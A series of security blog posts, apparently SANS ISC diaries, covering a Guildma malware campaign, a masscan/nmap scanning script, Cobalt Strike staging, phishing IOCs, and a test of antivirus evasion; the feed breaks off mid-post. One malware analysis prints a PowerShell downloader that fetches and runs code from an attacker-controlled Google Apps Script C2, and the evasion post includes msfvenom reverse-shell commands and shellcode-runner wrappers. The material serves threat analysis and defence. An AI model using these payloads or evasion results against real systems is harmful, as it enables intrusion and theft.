We recently identified a new Guildma/Astaroth campaign targeting South America, mainly Brazil, using a new variant of the malware. Guildma is known by its multiple-staged infection chain and evasion techniques to reach victim’s data and exfiltrate them. In a previous diary [1] at Morphus Labs, we analyzed a Guildma variant which employed an innovative strategy to stay active, using Facebook and YouTube to get a new list of its C2 servers.

The innovation this time is the use of Finger, an old service designed to retrieve information about a particular user or host on a network but employed by Guildma to retrieve the command that will download and start the new victim’s computer infection. In addition, Guildma is bringing its own legit binary to the victim’s machine to employ a technique named Signed Binary Proxy Execution, reducing the chances of being detected.

In today’s diary, check the results of the analysis of this new variant along with MITRE ATT&CK TTPs and IOCs. To start, look at Figure 1. This is the traffic generated by the new variant while contacting attackers’ Finger server and receiving back the malicious command to be executed.

Figure 1 – Guilma traffic while contacting attackers’ Finger server

 

Threat Analysis

                

Figure 2 – New Guildma variant analysis

               The ongoing campaign starts with an e-mail phishing with a link to a ZIP file which contains an LNK. If the user executes the LNK file, instead of opening a supposed PDF with a proof of payment (Comprovante.pdf7.lnk), it will execute Windows native binary Finger.exe do retrieve the malicious command from attacker’s server on port TCP/79 and pass it to ‘cmd’ to get it executed.

                The malicious LNK file is prepared to ‘cmd.exe’ with an obfuscated argument, as seen in Figure 3.

Figure 3 – LNK content

               Analyzing the environment variables created by the above argument, it is possible to see the arguments which will be passed to ‘cmd.exe’. Surprisingly, it calls finger.exe, a native Windows binary to an old service, and pipes its results to a new cmd, as seen in Figure 4.

Figure 4 – Deobuscated arguments

               The result of the finger execution is another obfuscated command with a list of environment variables, as seen in Figure 5.

Figure 5 – Result of finger execution

               Once executed, the above command will create a JS file containing a VB Script on “%Public%\Videos\” and execute it. This execution will result in five more files downloaded and stored into a random path into Videos, as seen in Figure 6. The download is performed using the legitimate binary bitsadmin.exe.

Figure 6 – JS and random directory created by Guildma to store malicious artifacts

               The downloaded files are listed in Figure 7.

Figure 7 – Downloaded artifacts

               The ‘ctfmon.exe’, despite the name, is in fact, a copy of a legitimate binary named ‘coregen.exe’ which is part of Microsoft Silverlight product, as seen in Figure 8.

Figure 8 – ‘coregen.exe’ legitimate binary brought over by the attackers

               The ‘coregen.exe’ binary is used to load ‘helper.dll’ in a technique named Signed Binary Proxy Execution (T1218) [2]. It is like DLL Side Loading attack, but here the DLL name is passed as argument, as seen in Figure 9. In other words, the attacker is bringing the ‘coregen.exe’ legitimate binary to the victim’s machine and using it as a rundll32 to have its malicious DLL loaded into it as a strategy to evade security controls.

Figure 9 – Coregen.exe used to load malicious DLL

               This type of misuse of ‘coregen.exe’ is mapped by Stronic [3], as seen in Figure 10.

Figure 10 – Possible misuse of ‘coregen.exe’ by Stronic

 

Once loaded, the ‘helper.dll’ will decrypt and load the other DLLs ‘log32.dll’ and ‘log33.dll’ previously downloaded. In the Figure 11 I highlight the routing which decrypts the DLL contents.

 

Figure 11 – Log32.dll decrypt routine

And finally, once loaded, Log32.dll will perform multiple anti-debugging, anti-vm and a series of system verification, like keyboard type and system language, the presence of a DLL belonging to Diebold Warsaw (wslbscr32.dll), before unpacking and launching information stealer procedures.

Final Considerations

Reflecting on the use of Finger on this new variant, a possible reason that came to my mind was the attempt to bypass security filters that are usually applied to the HTTP/HTTPS traffic. Even employees in home office, may have some type of web browsing filter applied by the company, like web proxies. However, it may not be so common for home firewalls to make a more restrictive Internet outgoing filter, preventing, for example, the exit to the TCP/79 port. In the end, as much as the content travels in clear text on Finger, the attacker may end up having more luck with this strategy than if he used the most common path.

Finally, it is interesting to highlight the use of Signed Binary Proxy Execution technique by the new Guildma variant. Binaries signed with trusted digital certificates can execute on Windows systems protected by digital signature validation – specially those signed by Microsoft, as ‘coregen.exe’.

There are mitigations and detection strategies for Signed Binary Proxy Execution mapped on MITRE ATT&CK [2] which include restricting the execution of particularly vulnerable binaries to privileged accounts that need to use them and establish a baseline for processes and command line parameters for signed binaries to monitor and spot uncommon usage. There is a great project named LOLBAS [5] (Living Off The Land Binaries and Scripts) which maps ‘coregen.exe’ and other binaries that could be abused in a similar way.

References

[1] https://isc.sans.edu/diary/Guildma+malware+is+now+accessing+Facebook+and%A0YouTube+to+keep+up-to-date/25222

[2] https://attack.mitre.org/techniques/T1218/

[3]https://strontic.github.io/xcyclopedia/library/coregen.exe-3BF709AEDF5042C39515756FB72E9EC0.html

[4]https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/finger

[5] https://github.com/LOLBAS-Project/LOLBAS

 

IOCs

Category	Type	Value	Comment
Artifacts dropped	sha256	412a6b755b2029126d46e7469854add3faa850f5a4700dd1e078fcc536ca418a	ctfmon.exe (coregen.exe) - legitimate file being used to start malicious helper.dll
Artifacts dropped	sha1	5f536e6701d928dd262d475cd6987777b9fa5e33	ctfmon.exe (coregen.exe) - legitimate file being used to start malicious helper.dll
Artifacts dropped	md5	3bf709aedf5042c39515756fb72e9ec0	ctfmon.exe (coregen.exe) - legitimate file being used to start malicious helper.dll
Artifacts dropped	sha256	4fe8e09c61858df60222c5188af91b934d1358ee802d6dc06b4a25e162a71413	helper.dll
Artifacts dropped	sha1	cc19f43dbc98a5f471bb9fc926da6e9b190a925c	helper.dll
Artifacts dropped	md5	1d270124b1e61f21eed666afc4e60d9a	helper.dll
Artifacts dropped	sha256	7889a7cc80dabc034cd02a3667e1f0028332669ca5ccf9a66b4f853064968158	log32.dll
Artifacts dropped	sha1	883bba850a4a6b84bb734841de823c25e09cc4dd	log32.dll
Artifacts dropped	md5	ea6ebcf305585d692fc4d519c94ed215	log32.dll
Artifacts dropped	sha256	5abfff61dcde664006db334859055d22da3b419e2fa2ae734bec48688c564dea	log33.dll
Artifacts dropped	sha1	6aa3cd190f670671c2a93076dc1a77a551dfc3d3	log33.dll
Artifacts dropped	md5	126058c017ca37541da16c5ab6d91257	log33.dll
Payload installation	sha256	9f61fc62aa9734406c164decc00f9c027574c4c5f6865d5fb297fb431f75c3bb	Rt6.js
Payload installation	sha1	77f1cc8b7ce1cbffe91f050cb1e7f790de62e257	Rt6.js
Payload installation	md5	50222aecc6a722564bb5844fa07af4d0	Rt6.js
Network activity	ip-dst	45.79.215.94
Network activity	domain	martin21.xyz
Network activity	domain	martin23.xyz
Network activity	domain	martin24.xyz
Network activity	domain	martin05.xyz
Network activity	domain	martin17.xyz
Network activity	domain	martin27.xyz
Network activity	domain	martin06.xyz
Network activity	domain	martin03.xyz
Network activity	domain	martin04.xyz
Network activity	domain	martin02.xyz
Network activity	domain	martin01.xyz
Network activity	domain	martin08.xyz
Network activity	domain	martin07.xyz
Network activity	domain	martin10.xyz
Network activity	domain	martin11.xyz
Network activity	domain	go8357.xyz
Network activity	domain	alinester07.xyz
Network activity	domain	martin19.xyz
Network activity	domain	martin18.xyz
Network activity	domain	martin16.xyz
Network activity	domain	martin15.xyz
Network activity	domain	martin14.xyz
Network activity	domain	martin13.xyz
Network activity	domain	martin12.xyz
Network activity	domain	martin31.xyz
Network activity	domain	martin30.xyz
Network activity	domain	martin29.xyz
Network activity	domain	martin28.xyz
Network activity	domain	martin26.xyz
Network activity	domain	martin25.xyz
Network activity	domain	martin22.xyz

--

Renato Marinho
Morphus Labs| LinkedIn|Twitter

Continuing on from the "Quick and dirty Python: masscan" diary, which implemented a simple port scanner in Python using masscan to detect web instances on TCP ports 80 or 443.  Masscan is perfectly good as a blunt instrument to quickly find open TCP ports across large address spaces, but for fine details it is better to use a scanner like nmap that, while much slower, is able to probe the port to get a better idea of what is running.

First lets backtrack.  Since the previous diary, I converted the masscan code to a function and created another function to parse the masscan results to return the list of IPs on which masscan detected open ports.  The current script scan_web.py script is:

#!/usr/local/bin/python3
import sys,getopt,argparse
import masscan
import pprint

def scan_masscan(ips):

   try:
      maso = masscan.PortScanner()
      maso.scan(ips, ports='80,443')
   except:
      print("Error:", sys.exc_info()[0])
      sys.exit(1)

   return(maso)

def parse_masscan_host_list(massout):

    #initialize
    host_list = list()

    # Build a list from the massscan output
    for host in massout.all_hosts:
       host_list.append(host)
    return(host_list)

def main():
   # read in the IP parameter 
   parser = argparse.ArgumentParser()
   parser.add_argument('IP', help="IP address or range")
   args=parser.parse_args()
   ip=args.IP

   maso=scan_masscan(ip)

   if int(maso.scanstats['uphosts']) > 0:
      host_list=parse_masscan_host_list(maso)
      pprint.pprint(host_list)

   else:
      print("No Masscan results")
      sys.exit(1)

if __name__ == "__main__":
    main()

Running the script results in a list of IPs where either 80 or 443 were detected open by masscan.

# ./scan_web.py 45.60.103.0,45.60.31.34,1.2.3.4
[2021-05-31 18:28:51,335] [DEBUG] [masscan.py 10 line] Scan parameters: "masscan -oX - 45.60.103.0,45.60.31.34,1.2.3.4 -p 80,443"
['45.60.103.0', '45.60.31.34']

Extending this script to pass the masscan output list to nmap is relatively easy as well.  As somebody pointed out on a comment to the last diary, there are a lot of Python nmap modules and they all provide differing functionality.  After messing with a few of them, as the comment stated, the libnmap module appears to be the most functional and easiest to use.  libnmap does not implement nmap functionality, it needs nmap already installed on the device and interfaces with that version.  I will not be going over nmap functionality in this diary. If you are not clear on the nmap command parameters you can find a quick tutorial in this older diary.

To implement the nmap scan will require two functions.  One to run the scan, and one to parse the results.

The scanning function:

def scan_nmap(ip_list):
    print("Starting nmap for: {0}".format(ip_list))
    nm = NmapProcess(ip_list, options="-Pn -n -A -sT -p80,443 -r --max-retries 2 --host-timeout 2h --open --reason")
    nrc = nm.run()
    if nrc != 0:
        print("nmap scan failed: {0}".format(nm.stderr))
        exit(0)
    try:
        nparse = NmapParser.parse(nm.stdout)
    except NmapParserExcetion as e:
        print("Exception raised while parsing scan: {0}".format(e.msg))

    return(nparse)

and the function to parse and output the scan result.  This example is almost verbatim from the libnmap documentation.

def print_nmap(nmap_report):
    print("Starting Nmap {0} ( http://nmap.org ) at {1}".format(
        nmap_report.version,
        nmap_report.started))

    for host in nmap_report.hosts:
        if len(host.hostnames):
            tmp_host = host.hostnames.pop()
        else:
            tmp_host = host.address

        print("Nmap scan report for {0} ({1})".format(
            tmp_host,
            host.address))
        print("Host is {0}.".format(host.status))
        print("  PORT     STATE         SERVICE")

        for serv in host.services:
            pserv = "{0:>5s}/{1:3s}  {2:12s}  {3}".format(
                    str(serv.port),
                    serv.protocol,
                    serv.state,
                    serv.service)
            if len(serv.banner):
                pserv += " ({0})".format(serv.banner)
            print(pserv)
    print(nmap_report.summary)

The output from the finished script is:

# ./scan_web.py 45.60.103.0,45.60.31.34,1.2.3.4
[2021-05-31 19:00:56,329] [DEBUG] [masscan.py 10 line] Scan parameters: "masscan -oX - 45.60.103.0,45.60.31.34,1.2.3.4 -p 80,443"
Starting nmap for: ['45.60.103.0', '45.60.31.34']
Starting Nmap 7.91 ( http://nmap.org ) at 1622487670
Nmap scan report for 45.60.103.0 (45.60.103.0)
Host is up.
  PORT     STATE         SERVICE
   80/tcp  open          http
  443/tcp  open          https
Nmap scan report for 45.60.31.34 (45.60.31.34)
Host is up.
  PORT     STATE         SERVICE
   80/tcp  open          http
  443/tcp  open          https
Nmap done at Mon May 31 19:01:49 2021; 2 IP addresses (2 hosts up) scanned in 40.03 seconds

In about 80 lines of python code. I have implemented a simple script that can quickly scan a large address space using the very quick masscan and then send the output to nmap to do detailed scanning of a single port. This script is the basic framework I use for dozens of scripts to scan an entire ASN looking for devices that may be at risk for the current vulnerability of the week.

The final version of the scan_web.py script is:

#!/usr/local/bin/python3
import sys,getopt,argparse
import masscan
from libnmap.process import NmapProcess
from libnmap.parser import NmapParser, NmapParserException
import pprint

def scan_masscan(ips):

   try:
      maso = masscan.PortScanner()
      maso.scan(ips, ports='80,443')
   except:
      print("Error:", sys.exc_info()[0])
      sys.exit(1)

   return(maso)

def parse_masscan_host_list(massout):

    #initialize
    host_list = list()

    # Build a list from the massscan output
    for host in massout.all_hosts:
       host_list.append(host)
    return(host_list)

def scan_nmap(ip_list):
    print("Starting nmap for: {0}".format(ip_list))
    nm = NmapProcess(ip_list, options="-Pn -n -A -sT -p80,443 -r --max-retries 2 --host-timeout 2h --open --reason")
    nrc = nm.run()
    if nrc != 0:
        print("nmap scan failed: {0}".format(nm.stderr))
        exit(0)
    try:
        nparse = NmapParser.parse(nm.stdout)
    except NmapParserExcetion as e:
        print("Exception raised while parsing scan: {0}".format(e.msg))
    pprint.pprint(nparse)
    return(nparse)

def print_nmap(nmap_report):
    print("Starting Nmap {0} ( http://nmap.org ) at {1}".format(
        nmap_report.version,
        nmap_report.started))

    for host in nmap_report.hosts:
        if len(host.hostnames):
            tmp_host = host.hostnames.pop()
        else:
            tmp_host = host.address

        print("Nmap scan report for {0} ({1})".format(
            tmp_host,
            host.address))
        print("Host is {0}.".format(host.status))
        print("  PORT     STATE         SERVICE")

        for serv in host.services:
            pserv = "{0:>5s}/{1:3s}  {2:12s}  {3}".format(
                    str(serv.port),
                    serv.protocol,
                    serv.state,
                    serv.service)
            if len(serv.banner):
                pserv += " ({0})".format(serv.banner)
            print(pserv)
    print(nmap_report.summary)

def main():
   # read in the IP parameter 
   parser = argparse.ArgumentParser()
   parser.add_argument('IP', help="IP address or range")
   args=parser.parse_args()
   ip=args.IP

   maso=scan_masscan(ip)

   if int(maso.scanstats['uphosts']) > 0:
      host_list=parse_masscan_host_list(maso)
      nreport = scan_nmap(host_list)
      print_nmap(nreport)
   else:
      print("No Masscan results")
      sys.exit(1)

if __name__ == "__main__":
    main()

 

Caveat1: Never scan an IP range you don't have permission to scan.  While port scanning is not illegal in most jurisdictions it is questionable ethically to scan things you don't own or have permission to scan.

Caveat2: I am not a professional Python programmer.  My scripting gets the job done that I need it to do.  I know there are many smart people out there who can write way better code than I can. 

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - Twitter:namedeplume (Protected)

One of the Cobalt Strike servers reported by Brad Duncan also communicates over DNS.

This can be tested with a simple DNS TXT query:

The content of this TXT record contains the start of a Cobalt Strike beacon, encoded with Netbios Name encoding. I recently published an update to my base64dump.py tool to handle this encoding.

In the following video, I show how to use my new, quick & dirty tool to retrieve all DNS TXT records (cs-dns-stager.py) that make up the encoded beacon, and how to decoded this with base64dump and extract the config with my 1768.py tool.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

New versions of Sysinternals' tools Procmon, Sysmon, TcpView and Process Explorer were released.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

YARA version 4.1.1 was released.

This is a bug fix release.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

In February I posted about spam pretending to be an Outlook Version update [1] and now for the past several weeks I have been receiving spear-phishing emails that pretend to be coming from Microsoft Outlook to "Sign in to verify" my account, new terms of services, new version, etc. There also have been some reports this week about large ongoing spear-phishing campaign [2][3] worth reading. Here are some samples which always include a sense of urgency to login as soon as possible:

It is always a good idea to verify the source email (From, To, text for errors and URL) and hovering the mouse cursor over the URL, to verify the embedded URL in the email before clicking on it. Better yet, simply login to the website using a trusted URL.Being careful always pays off.

Indicator of Compromise

microsoft.mntl.format[.]com
microsoft123.bookmark[.]com
server-update.vpxe[.]com
website409819.nicepage[.]io
sfjksdd.weebly[.]com

[1] https://isc.sans.edu/forums/diary/Pretending+to+be+an+Outlook+Version+Update/27144/
[2] https://us-cert.cisa.gov/ncas/current-activity/2021/05/28/joint-cisa-fbi-cybersecurity-advisory-sophisticated-spearphishing
[3] https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/
[4] https://www.sans.org/security-awareness-training/resources/posters/dont-get-hooked (Poster)
[5] https://www.youtube.com/watch?v=sEMrBKmUTPE (SANS Security Awareness: Email and Phishing)
[6] https://www.canada.ca/en/revenue-agency/corporate/security/protect-yourself-against-fraud.html
[7] https://www.irs.gov/newsroom/tax-scams-consumer-alerts
[8] https://ec.europa.eu/taxation_customs/node/1029_en
[9] https://www.gov.uk/government/organisations/hm-revenue-customs/contact/reporting-fraudulent-emails
[10] https://isc.sans.edu/forums/diary/Malware+Analysis+with+elasticagent+and+Microsoft+Sandbox/27248/

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

Google has an incredible portfolio of services. Besides the classic ones, there are less known services and... they could be very useful for attackers too. One of them is Google Apps Script[1]. Google describes it like this:

"Apps Script is a rapid application development platform that makes it fast and easy to create business applications that integrate with G Suite."

Just a quick introduction to this development platform to give you an idea about the capabilities. If, as the description says, it is used to extend the G Suite, it can of course perform basic actions like... hosting and delivering some (malicious) content.

First, let's create an HTML file:

Then, edit "Code.gs" and create a doGet() function:

Save the project and you are ready to deploy it (it's important to select the right access: Anyone):

Once the deployment successfully completed, you've now an URL that you can use to access your code:

That's the technique used by the attackers in the sample that I found. The first stage was a simple PowerShell one-liner:

powershell.exe -nop -w hidden -c "Invoke-Expression([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('hxxps://script[.]google[.]com/macros/s/AKfycbycf3i4YzhGtrLtW_ttACPfln3wLBM4jHtVsBheL6lAsPGt2D-nbTN_Y-NeUDYE50Y/exec?se=1&ip='+(New-Object System.Net.WebClient).DownloadString('hxxp://api[.]ipify[.]org/')))))"

You can see that the Google Script expects two parameters: 'se' and 'ip'. The IP is the public IP address of the victim (collected by visiting api.ipify.org). When the script is called, it returns a chunk of Base64 data decoded and interpreted by PowerShell. It's a simple backdoor that communicates with the C2 hosted on scripts.google.com. It supports the following commands:

• cd
• shell
• powershell
• upload
• quit

I uploaded the script[2] if you are interested. If you don't use Google Apps Script, any activity related to this FQDN could reveal some malicious activity!

[1] https://www.google.com/script/start/
[2] https://bazaar.abuse.ch/sample/cf8755956735075fe3a8e37d117500f459b2c8ce97dd759c5d3334223c84d582/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Malware authors like to use a variety of techniques to avoid detection of their creations by anti-malware tools. As the old saying goes, necessity is the mother of invention and in the case of malware, it has lead its authors to devise some very interesting ways to hide from detection over the years – from encoding of executable files into valid bitmap images[1] to multi-stage encryption of malicious payloads[2] and much further. Many of these techniques continue to be used efectively in the wild by malicious actors as well as by red teams that emulate them. Probably none of these techniques (perhaps with the exception of simple XOR encryption) has been used so widely as Base64 encoding of malicious payloads.

Base64[3] is among the worlds best-known binary-to-text encodings. It is commonly used to encode binary data so it can be easily transmitted over networks and most of us use it in one way or another on daily basis. Since – as we’ve mentioned – so do malicious actors, it is also the “go to” encoding that security analysts tend to try first when looking at data that appears to be encoded in some way (especially if it ends in the telltale equal sign or two). Base64 however isn’t the only encoding scheme out there, and it isn’t even the only Base-based one (if you forgive the pun).

Since it has been also used extensively (for example for data exfiltration using DNS[4]), many are aware that a Base32 encoding scheme also exists. But the story doesn’t end there and many other, more obscure Base encodings are being used as well. Even if we just look at the encoding schemes supported by CyberChef[5], we can see several others.

The availability of these lesser-known Base encodings in CyberChef has lead me to an idea – since Base64 is so prevalent, one might expect most anti-malware tools to be able to easily handle known malicious payloads encoded by it as well (after all, since YARA is capable of Base64 encoded versions of strings[6], why wouldn’t AVs be able to do the same). Would that however hold for the other encodings as well? Or, to put it differently, would it make sense for a malicious actor or red teamer to encode a malicious payload using some other scheme if they were trying to get past an anti-malware scan?

To find out whether there would be any advantage to using other encodings than Base64 to hide a malicious payload, I’ve devised a simple test. I would generate a shellcode that should probably be identified as malicious by most anti-malware tools on the market, encode it using different Base encodings supported by CyberChef (all except for Base85), put each encoded “payload” into a shellcode wrapper, compile it and check what detection score would the resulting file have on VirusTotal. To make things a little bit more comprehensive, I would do this for 32-bit as well as 64-bit executables and payloads.

Admittedly, results of this little experiment would be far from representative when it came to the ability of different Base encodings to hide malicious content, but they should be enough to show if using other scheme then Base64 could make at least some difference.

The shellcode I’ve decided to use for the test was a simple staged Meterpreter reverse-tcp payload generated by MSFvenom using the following commands, since this is something that one would expect most anti-malware tools to be able to catch.

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=127.0.0.1 lport=4444 -a x64 -f c
msfvenom -p windows/meterpreter/reverse_tcp lhost=127.0.0.1 lport=4444 -a x86 -f c

I have put the resulting 32-bit and 64-bit shellcode into the following C++ wrapper from GitHub[7] and compiled it into executable binaries.

#include <windows.h>
#include <iostream>

int main(){
    static const int code_lenght = [length];
    unsigned char opcodes[code_lenght] = [shellcode];

    HANDLE mem_handle = CreateFileMappingA( INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0,  code_lenght, NULL);
    void* mem_map = MapViewOfFile( mem_handle, FILE_MAP_ALL_ACCESS | FILE_MAP_EXECUTE, 0x0, 0x0, code_lenght);
    memcpy(mem_map, opcodes, sizeof(opcodes));
    std::cout << (( int(*)() )mem_map)() << std::endl;
    return 0;
}

I then encoded both pieces of shellcode using each of the Base encodings I wanted to try and compiled the resulting code.

I didn’t add any functionality for decoding of the encoded payload, so the resulting executables would not actually cause the embedded shellcode to run if they were executed (instead of valid shellcode, they would try to execute its encoded form, which would of course not work). However, for the purposes of our test, this shouldn’t have made any difference.

In order to identify the number of detections caused by the shellcode wrapper and not the (encoded) shellcode itself, I have also compiled a “control” executable that only contained one NOP instruction as its payload.

I then ran each of the resulting executables through VirusTotal. As you may see from the following chart, there was no significant difference between detections of differently encoded shellcode, or between our control executable and the ones that carried the encoded Meterpreter. All 32-bit executables with encoded shellcode were detected by 1 more AV then the wrapper with the NOP instruction and only the Base64-encoded 64-bit executable had 1 more detection then the control executable.

Since I found the results a little bit surprising, I decided to try the same test using a different shellcode wrapper – I chose a code that tries to execute shellcode using a simple pointer to it. This is a well-known historical technique that wouldn’t work on modern operating systems but should be easily spotted by anti-malware tools.

#include<stdio.h>
#include<string.h>

unsigned char shellcode[] = [shellcode];

main()
{
    int (*call)() = (int(*)())shellcode;
    call();
}

As we can see from the following chart, there was indeed a significant overall increase in the number of detections. Although between 64-bit executables, the number of detections was again nearly the same (8 for Base32 and Base64, 9 for Base58 and Base62 encodings), there were some small differences in detections of 32-bit executables. The two containing shellcode encoded by Base58 and Base62 actually scored lower than our control binary.

Although this variance in the number of detections is interesting, given our other results, it seems that there is generally very little difference between the protection from AV detection that Base64 and the lesser-known Base encodings can provide, at least when it comes to encoding of shellcode.

As we’ve mentioned before, however, the results are hardly representative and would certainly be quite different if we were to try to encode some other type of well-known malicious payload than a staged Meterpreter (a stageless Meterpreter or something containing the string “invoke-mimikatz” come to mind) or if we were to try a similar test using a larger sample size. In general, however, it seems that even a simple Base64 encoding of shellcode is still a viable way to get past many AV solutions out there.

Still, it is good to keep in mind that the available encodings don’t end with Base64, since for red teamers and blue teamers both, the other variants might come in useful from time to time.

What is more surprising than the aforementioned “effectiveness” of Base64 encoding, however, are the significant differences between the detections of 32-bit and 64-bit versions of the same code. Although most of us tend to think that the time when anti-malware solutions struggled with detecting malicious 64-bit code is far behind us, it would seem, that this is still not truly the case…

[1] https://isc.sans.edu/forums/diary/Analysis+of+a+tripleencrypted+AZORult+downloader/25768/
[2] https://isc.sans.edu/forums/diary/Agent+Tesla+hidden+in+a+historical+antimalware+tool/27088/
[3] https://en.wikipedia.org/wiki/Base64
[4] https://isc.sans.edu/diary/DNS+Query+Length...+Because+Size+Does+Matter/22326
[5] https://gchq.github.io/CyberChef/
[6] https://isc.sans.edu/forums/diary/YARA+v400+BASE64+Strings/26106/
[7] https://gist.github.com/angelorodem/fd3f074a27ddf2708ee74a5ad32704d9

-----------
Jan Kopriva
@jk0pr
Alef Nula

As usage of fitness trackers, wireless headsets and smart home devices become increasingly popular in our daily lives, a growing reliance on the Bluetooth protocol is expected as it serves as the main medium of communication between devices. Amidst the COVID-19 pandemic, Bluetooth-enabled devices such as phones and hardware tokens were also used for contact-tracing purposes in countries such as Singapore [1]. Currently, the core specification of Bluetooth is 5.2 [2], and are generally divided into 2 categories – Bluetooth Low Energy (BLE) and Bluetooth Classic [3]. Given the increasing popularity and usage of Bluetooth, I started to wonder about the trend of Bluetooth related vulnerabilities.

I turned to the CVE List and searched for Bluetooth related vulnerabilities. At the point of writing, there was a total of 445 publicly listed vulnerabilities related to Bluetooth [4]. Based on the returned vulnerabilities and with reference to Figure 1, I plotted a simple graph to look at the trend. Do note that for the year 2021, the data is only partial as the year of 2021 has not ended yet. In addition, there could also be a possibility that certain CVE IDs have not been publicly disclosed, or that Bluetooth-related vulnerabilities were not submitted to the CVE List.

Figure 1: Bluetooth Vulnerabilities from Year 2002 to 2021

It was interesting to note that the formal specification of Bluetooth 1.0 was first released in 1999 [5], and the first Bluetooth related vulnerability was recorded in the CVE database in the year 2002. Having said that, the Bluetooth “vulnerabilities” for the year 2002 were actually web application related. However, as I wanted to collate all vulnerability data that were related (even if it was indirect) to Bluetooth, I have kept it there. The actual vulnerabilities with Bluetooth protocol started in the year 2004 (CVE-2004-0143), and the device affected was a Nokia 6310i mobile phone [4]. Vulnerabilities associated with Bluetooth had a short spike up in 2006, and remained relatively stable until 2017 where a spike in vulnerabilities occurred. Finally, the highest number of Bluetooth related vulnerabilities found was in the year 2019 across a wide spectrum of devices (Samsung, Texas Instruments, Xiaomi, Cypress PSoC, and even vaping kits) and software (Android, Nulock).

Recent research in Bluetooth Low Energy (BLE) implementations of various vendors have shown that the BLE stacks were vulnerable to some fundamental attacks. The SweynTooth family of vulnerabilities showed that many implementation details specified by the Bluetooth Core Specification were not adhered to by the System-on-Chip (SoC) vendors [6], and this also further affected multiple products that relied on those SoC running vulnerable implementations of BLE [6]. Patching the devices can also prove to be a complicated issue as product vendors have to contact the respective SoC vendor for the security patches.

This does not mean that the usage of Bluetooth devices is discouraged. However, users should start to be more discerning and consider checking whether the Bluetooth devices currently in use are affected by any security issues. Moreover, users should also check if the devices will be actively supported by the manufacturers in terms of security patches and/or firmware updates to fix any potential vulnerabilities discovered by researchers in future. From a corporate organization’s perspective, it might also be worthwhile to consider having a policy/directive and brief audit on usage of Bluetooth devices (For example, are vulnerable Bluetooth devices being used? Are there any current risks/vulnerabilities in Bluetooth devices used by employees?). Looking at the data trend of Bluetooth vulnerabilities submitted to CVE List and a multitude of published papers with respect to Bluetooth vulnerabilities in peer-reviewed journals and conferences, it is likely that Bluetooth will be scrutinized further in the months and years to come (and hopefully, a more secure Bluetooth ecosystem for all).

References:
[1] https://support.tracetogether.gov.sg/hc/en-sg/articles/360053530773-What-is-the-TraceTogether-Programme-
[2] https://www.bluetooth.com/wp-content/uploads/2020/01/Bluetooth_5.2_Feature_Overview.pdf
[3] https://www.bluetooth.com/learn-about-bluetooth/radio-versions/
[4] https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=bluetooth
[5] https://web.archive.org/web/20180525083558/https://www.bluetooth.com/about-us/our-history
[6] https://asset-group.github.io/disclosures/sweyntooth/

-----------
Yee Ching Tok, ISC Handler
Personal Site
Twitter

VMware has issued a critical security advisory VMSA-2021-0010 (CVSSv3 score ranging from 6.5-9.8). The products affected are VMware vCenter Server and VMware Cloud Foundation, and addresses CVE-2021-21985 and CVE-2021-21986 [1].

References:

[1] https://www.vmware.com/security/advisories/VMSA-2021-0010.html

-----------
Yee Ching Tok, ISC Handler
Personal Site
Twitter

Today’s diary features a tip-off by one of our ISC diary readers Earl. Earl discovered some dodgy domains within the IP address block of 95.181.152.0/24 via the Hurricane Electric’s BGP Toolkit [1]. A look at the output of the IP address block of 95.181.152.0/24 showed a variety of domains that were related to popular sites such as Steam, Epic Games and Instagram, albeit with an assortment of misspelled URLs.

Some sites have been reported as deceptive sites and triggered browser warnings, while some sites displayed default Plesk configuration pages. As I dove in further to the data in 95.181.152.0/24, I found an active Instagram phishing page that purportedly offers Instagram verification badges (with reference to Figure 1 below).

Figure 1: Screenshot of Instagram Verification Phishing Site

A closer look at the phishing page showed that various images used to construct the phishing page were taken from third-party image hosting sites (with reference to Figure 2). As I have mentioned in my previous diary entry [2], image hotlinking facilitates adversaries’ efforts in constructing phishing pages/e-mails. It was also interesting to note (from an OSINT perspective) that the default username shown in the page was “pharaben” (highlighted in red boxes in Figure 1 and 2).

Figure 2: HTML Source of Phishing Site

This was most certainly an interesting finding with respect to this IP address block and the variety of phishing domain names associated with 95.181.152.0/24 using Hurricane Electric’s BGP Toolkit. While it can take some effort, this method could give some insight to IP address blocks and also uncover phishing sites proactively (and perhaps uncover cybercriminal activity or red teams).

The indicators of compromise of the phishing site are listed below.

Indicators of Compromise (IOCs):
hxxps:// bluebadgepurchase[.]com (please replace hxxps with https)
95.181.152[.]16

References:
[1] https://bgp.he.net/net/95.181.152.0/24#_dns
[2] https://isc.sans.edu/diary/27356

-----------
Yee Ching Tok, ISC Handler
Personal Site
Twitter

Apple has released several updates for iPhones, iPads, Apple Watches, and Macs earlier today (May 24).  More details are available on the Apple Security Updates website. 

Security Update 2021-003 (macOS Catalina)

Security Update 2021-004 (macOS Mojave)

MacOS Big Sur 11.4

iOS and iPadOS 14.6

tvOS 14.6

watchOS 7.5

Brad posted another malware analysis with capture file of Cobalt Strike traffic.

The traffic is encrypted and the key is unknown. While it's impossible to determine what exact commands were executed in this case, it is still possible to determine if commands were send by the C2 and if results were sent back.

I explain how in this video.

If you have proxy logs in stead of a packet capture, it's possible to do the same analysis, provided that the proxy logs report how much data (size of HTTP headers and size of data) was exchanged.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

The Internet is full of code snippets and free resources that you can embed in your projects. SmtpJS is one of those small projects that are very interesting for developers but also bad guys. It's the first time that I spot a phishing campaign that uses this piece of JavaScript code.

To launch a phishing campaign, most attackers deploy their phishing kits on servers (most of the time compromised). These kits contain the HTML code, images, CSS files, ... but also scripts (often in PHP) to collect the information provided by the victim and store it into a flat file or send them to another service. It works perfectly but there are chances that the compromised servers will be cleaned and kits wiped. Alternatively, the URL/IP address will be quickly reported as malicious and added to reputation lists or IOC's databases.

